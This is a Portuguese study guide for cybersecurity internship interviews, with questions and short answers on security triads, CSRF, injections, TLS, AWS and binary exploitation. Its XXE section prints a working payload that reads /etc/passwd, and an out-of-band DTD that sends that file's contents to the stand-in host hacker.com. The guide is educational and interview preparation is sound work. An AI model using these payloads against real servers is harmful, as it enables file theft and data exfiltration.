Esta página é um resumo de entrevistas pelas quais passei, cobrindo uma variedade razoável de cargos; recebi várias rejeições, no entanto, aprendi com cada entrevista, coletei feedback construtivo e segui em frente.
Espero que estas perguntas/dicas possam ajudar você.
Os cargos que geralmente cobre são os seguintes:
- Estagiário de Segurança Cibernética
- Estagiário de Testes de Penetração / Red Team
- Estagiário de Segurança de Aplicações Web / Aplicações
- Estagiário de Segurança de Produto
- Estagiário de Segurança de Infraestrutura
Dica rápida:
- Revise seu currículo e faça perguntas relacionadas a ele para si mesmo antecipadamente
- Se você não conhece alguma pergunta/conceito, não fuja do assunto, deixe claro que você pode aprendê-lo dado um ambiente para trabalhar
Você não pode saber tudo, seja humilde para aceitar se respondeu algo errado ou se precisa de esclarecimento
- Prepare uma breve biografia sobre você antecipadamente para se apresentar
- Tenha certeza sobre seu objetivo final e por que infosec?
- Por fim, pergunte sobre feedback no final da entrevista, porquê, porque: ajuda a conhecer e preencher as lacunas do seu conhecimento atual em infosec
Tentei anotar abaixo todas as perguntas possíveis que encontrei e forneci respostas para algumas.
As demais você pode pesquisar no Google pelas respostas específicas, se quiser se aprofundar. Além disso, há algumas referências no final; dê uma olhada. Elas foram realmente úteis.
Adoraria adicionar mais perguntas conforme avanço e reviso minhas anotações, no entanto, agradeceria se você pudesse me dar um feedback construtivo sobre isto, entrando em contato comigo via [email protected].
Se você encontrou algo que não está coberto aqui, sinta-se à vontade para compartilhar.
Perguntas comuns
- Tríades de Segurança:
O que é CIA?
- Confidencialidade
- Integridade
- Disponibilidade
O que é AAA?
- Autenticação
- Autorização
- Contabilização
- Diferença entre Ameaça, Vulnerabilidade, Exploits e Risco e como eles se relacionam com Ativos
- Ameaça:
Uma ameaça é aquilo contra o qual estamos tentando nos proteger
- Vulnerabilidade:
Uma vulnerabilidade é uma fraqueza ou lacuna em nossos esforços de proteção
- Exploit:
Uma habilidade/programa (pode ser um software ou habilidade de engenharia social) que foi desenvolvida para atacar um ativo tirando proveito de uma vulnerabilidade
- Risco:
Risco é a interseção entre ativos, ameaças e vulnerabilidades
- Ativo:
Um ativo é aquilo que estamos tentando proteger
- O que é IAM e por que é usado?
IAM é o Identity Access Management (Gerenciamento de Identidade e Acesso) usado para segregar funções e responsabilidades dentro de uma organização. É uma peça crítica na segurança. Ajuda a manter a segurança no nível de acesso e privilégios.
Segurança em geral
Fases de um Ataque de Intrusão de Rede:
- Reconhecimento / Coleta de Informações
- Obter o acesso necessário
- Manter o acesso
- Cobrir os rastros (Excluir logs, backdoors e ocultar todos os controles)
Segurança de Aplicações Web
- Pergunta comum:
-
OWASP Top 10
-
O que é XSS (Cross-site Scripting)?
-
O que é CSRF
Esta é a pergunta mais interessante que quase todo entrevistador adoraria fazer
Dica rápida: Seja breve, se for perguntado(a), só então explique a história completa
Cross-Site Request Forgery (CSRF) é um ataque que força um usuário final a executar ações indesejadas em uma aplicação web na qual ele está autenticado no momento. Ataques CSRF visam especificamente solicitações de alteração de estado, não roubo de dados, já que o atacante não tem como ver a resposta à solicitação forjada. Com uma pequena ajuda de engenharia social (como enviar um link por e-mail ou chat), um atacante pode enganar os usuários de uma aplicação web para que executem ações escolhidas pelo atacante. Se a vítima for um usuário comum, um ataque CSRF bem-sucedido pode forçar o usuário a realizar solicitações de alteração de estado, como transferir fundos, alterar seu endereço de e-mail e assim por diante. Se a vítima for uma conta administrativa, o CSRF pode comprometer toda a aplicação web.
-
Como combater CSRF:
Use Tokens Anti-CSRF
Use a política de mesma origem (same-origin policy)
Uso do cabeçalho Referrer
-
O que é codificação HTML/URL?
-
O protocolo HTTP é sem estado (stateless)?
HTTP é inerentemente um protocolo sem estado, porém o servidor usa cookies para torná-lo com estado (stateful)
-
Quais são os tipos de injeções: SQL, Command, OS
-
Como combater injeções SQL
Use consultas parametrizadas (parameterized queries) e procedimentos armazenados (stored procedures)
- Verifique os cabeçalhos que ajudam a fornecer segurança (Confira as URLs e leia o conteúdo, isso ajudará a construir seus fundamentos):
- Existem cenários raros em que um entrevistador perguntaria estas coisas; encontrei as seguintes em etapas posteriores de algumas entrevistas, então pensei em mencioná-las:
- O que é XXE (Entidades Externas XML - XML External Entities)?
A injeção de entidade externa XML (também conhecida como XXE) é uma vulnerabilidade de segurança web que permite a um atacante interferir no processamento de dados XML por uma aplicação. Frequentemente, permite que um atacante visualize arquivos no sistema de arquivos do servidor da aplicação e interaja com quaisquer sistemas backend ou externos que a própria aplicação possa acessar.
Confira isto [https://portswigger.net/web-security/xxe]
Ex.:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
Em algumas situações, um atacante pode escalar um ataque XXE para comprometer o servidor subjacente ou outra infraestrutura backend, aproveitando a vulnerabilidade XXE para realizar ataques de server-side request forgery (SSRF).
- Out-Of-Band - usando entidades XML, dados do servidor podem ser capturados e enviados para hacker.com (NENHUMA saída do servidor é necessária)
Para ser injetado: document.xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
%remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity
Host externo: http://hacker.com/evil.dtd
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
--- OR ---
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>"> - consider error-based
Ref: [https://phonexicum.github.io/infosec/xxe.html]
Segurança de Rede
- Diferença entre criptografia simétrica e assimétrica
- Diferença entre criptografia de chave pública e criptografia assimétrica: Ambas são a mesma coisa Pergunta Pegadinha
- Modos em Criptografia (Ex.: EBC, CBC, etc.)
- O que é Perfect Forward Secrecy (Sigilo de Encaminhamento Perfeito)
[https://scotthelme.co.uk/perfect-forward-secrecy/]
Simplificando, o trabalho principal do PFS é garantir que, no caso de a chave privada de um servidor ser comprometida, um atacante não conseguirá descriptografar nenhuma comunicação TLS anterior. O Perfect Forward Secrecy é possível usando a troca de chaves efêmera Diffie-Hellman, que fornece novas chaves para cada sessão e é válida enquanto a sessão estiver ativa.
- Visão sobre cipher suite (suíte de criptografia):
Ex: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
https://scotthelme.co.uk/https-cheat-sheet/
- Durante compressão e criptografia de dados, o que acontece primeiro, compressão ou criptografia?
A compressão acontece primeiro, uma vez que a entropia (dispersão) da aleatoriedade nos dados é baixa, portanto uma maior compressão poderia ser alcançada; logo, é vantajoso primeiro comprimir e depois criptografar.
- Diferença entre criptografia, codificação, hash e ofuscação
https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
- O que é Rainbow-table (tabela arco-íris): Resumidamente, é uma coleção de hashes pré-computados
- Como o TLS funciona?
Esta é uma imagem incrível que encontrei, ela me ajudou a entender TLS em linguagem leiga
http://i.imgur.com/5T2fJsG.png
- O que é Assinatura de Certificado
- Como o Traceroute funciona
- Como o Nmap funciona
- O que é Autoridade Certificadora (CA)
- O que é DMZ e quais são os componentes envolvidos nela
- Sobre qual porta o ping funciona?
Uma pergunta pegadinha, com toda a certeza, mas importante.
Dica: ICMP é um protocolo de camada 3 (não funciona em uma porta). Uma boa variação dessa pergunta é perguntar se o ping usa TCP ou UDP. Responder qualquer um dos dois é erro, pois esses são protocolos de camada 4.
Segurança na Nuvem
Falarei em termos gerais sobre AWS, no entanto, existem outros provedores de nuvem, como Azure, GCP, Digital Ocean, etc..
- Componentes gerais da AWS:
S3, EC2, Buckets, IAM, Cloud trial, Cloud watch
- O que é IAM e seus componentes: Para ser breve, o IAM é usado para Gerenciamento de Acessos, onde utiliza Roles (Funções) (para acesso temporário), Policies (Políticas), Groups (Grupos) e Users (Usuários) para seu funcionamento
- O que é EC2: É uma instância elástica para criar uma Máquina Virtual (spinning up a Virtual Machine)
- O EC2 tem criptografia? Sim, tem. A criptografia do Amazon EBS oferece uma solução de criptografia simples para seus volumes EBS, sem a necessidade de criar, manter e proteger sua própria infraestrutura de gerenciamento de chaves. A criptografia do Amazon EBS usa as chaves mestras do cliente (CMKs) do AWS Key Management Service (AWS KMS) ao criar volumes criptografados e quaisquer snapshots criados a partir deles.
Mais pode ser encontrado ... abaixo
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html
Exploração Binária
- Ferramentas que podem ser usadas para depurar um binário:
Linux: gdb, radare, clutter (GUI para radare)
Windows: IDA, Binary Ninja
- O que é Buffer Overflow
- O que é Vulnerabilidade de Format String (Falha de String de Formatação)
- Diferença entre região de Stack (Pilha) e Heap (Monte) (Pode considerar também as regiões Code, Text e Bss)
- O que são Stack Cookies (Cookies de pilha)
- O que é ASLR e por que é usado?
- O que é memória não executável?
Referências
Recurso de Aprendizado:
https://regexone.com/ (Expressões Regulares são obrigatórias!)
https://portswigger.net/web-security/
OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
Perguntas de Entrevista Infosec:
https://danielmiessler.com/study/infosec_interview_questions
Principais Perguntas de Pentest:
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
Dicas de Python:
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
Guia do Usuário da AWS:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
Visão sobre SMB e Samba:
https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/